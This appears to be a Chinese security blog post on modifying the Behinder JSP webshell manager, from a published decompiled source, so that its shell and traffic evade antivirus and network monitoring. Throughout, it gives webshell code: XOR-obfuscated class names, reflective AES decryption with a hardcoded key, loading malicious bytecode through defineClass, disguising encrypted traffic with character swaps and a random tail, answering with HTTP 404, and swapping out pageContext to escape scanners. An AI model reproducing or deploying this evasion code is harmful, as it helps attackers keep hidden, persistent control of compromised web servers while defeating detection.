前言
冰蝎现已非常成熟,在尚不能开发一个属于自己的webshell管理工具时,对冰蝎改造是应对攻防比较适用的方案。github上也有诸多大佬反编译并改造了冰蝎。这里我们选一个公布源码的项目,方便自己的改造。
https://github.com/x1a0t/Behinder-Source
Behinder-Source
大佬不仅反编译了冰蝎Beta6的源码,还增添了几个新的功能。
比如自动生成webshell

比如新增的压缩文件

比如新增的内存马

都是比较适用的功能,也方便我们后面继续的改造。
webshell
结合之前学习过的 Jsp Webshell 免杀-类加载器 和 编写的webshell,我们先把sun.misc.BASE64Decoder
类的decodeBuffer方法用反射的方式替换。
int[] aa = new int[]{99, 101, 126, 62, 125, 121, 99, 115, 62, 82, 81, 67, 85, 38, 36, 84, 117, 115, 127, 116, 117, 98};
String ccstr = "";
for (int i = 0; i < aa.length; i++) {
aa[i] = aa[i] ^ 0x010;
ccstr = ccstr + (char) aa[i];
}
byte[] bytes = (byte[]) Class.forName(ccstr).getMethod("decodeBuffer", String.class).invoke(Class.forName(ccstr).newInstance(), request.getReader().readLine());
AES 加密也用反射的方式来写。
String k = "e2fc714c4727ee93";
javax.crypto.Cipher BA213R = javax.crypto.Cipher.getInstance("AES/ECB/PKCS5Padding");
BA213R.init(javax.crypto.Cipher.DECRYPT_MODE, (javax.crypto.spec.SecretKeySpec) Class.forName("javax.crypto.spec.SecretKeySpec").getConstructor(byte[].class, String.class).newInstance(k.getBytes(), "AES"));
Method doFinal = BA213R.getClass().getDeclaredMethod("doFinal", new Class[]{byte[].class});
结合 https://blog.csdn.net/include_voidmain/article/details/125066045 这篇文章,我们也不用自定义的ClassLoader,通过OrderClassLoaders类来调用defineClass方法加载恶意字节码。
Class<?> aClass = Class.forName("java.lang.ClassLoader");
Class PB=Class.forName("com.sun.jmx.remote.util.OrderClassLoaders");
java.lang.reflect.Method defineClass = PB.getSuperclass().getDeclaredMethod("defineClass",new Class[]{byte[].class,int.class,int.class});
以上都是基础的改造,不需要客户端修改。
流量
如果想在流量上处理加密过程,就需要服务端和客户端同时修改了。
比如AES加密后替换一定的字符也达到混淆的目的。
即
String data=request.getReader().readLine();
data=data.replace("#",k.substring(0,1).toLowerCase()).replace("*","=");
从key中取出第一位字符并替换为#
,以及将=
替换为*
对应客户端也需要修改,在net.rebeyond.behinder.utils#getData
里
String data = Base64.encode(encrypedBincls);
data = data.replace(key.substring(0, 1).toLowerCase(), "#").replace("=", "*");
return data.getBytes();
burp抓包验证一下。

也可以借鉴冰蝎4.0的思路,自定义一个加解密方法。在密文最后加一个magic尾巴,随机产生一个随机长度的额外字节数组。
客户端改写net.rebeyond.behinder.utils#getData

对应服务端在AES基础上去掉magic尾巴。
int magicNum=Integer.parseInt(k.substring(0,2),16)%16;
bytes=java.util.Arrays.copyOfRange(bytes,0,bytes.length-magicNum);
使用ABC_123师傅的工具解密看看。

状态码
那如果想设置状态码为404来传输呢?
服务端只需要手动设置404即可。
response.setStatus(404);
客户端则需要验证404状态码。idea 调试发现只需要修改net.rebeyond.behinder.utils#sendPostRequestBinary
将返回的状态码为404放进条件语句。

pageContext
在某些时候pageContext 可能会被查杀,可以通过创建hashmap放入request、response、session替换pagecontext来解决。
服务端
new Object[]{request,response,session}
客户端需要将net.rebeyond.behinder.payload.java
包下的每个类的equals方法的PageContext部分进行替换。

将以上代码整理起来作为服务端,运行测试。

其他
像一些请求头里的User-Agent、Content-Type 修改起来就更简单了,只需要搜索该关键字替换即可。
总结
通过简单修改冰蝎的流量、关键字来尝试改造冰蝎,为以后规避流量监测提供了一个思路。
参考资料
https://www.incert.cn/posts/2def522d.html
https://mp.weixin.qq.com/s/Y7RLegeC1HLWoyOIVlTGtw
https://mp.weixin.qq.com/s/EwY8if6ed_hZ3nQBiC3o7A
网友评论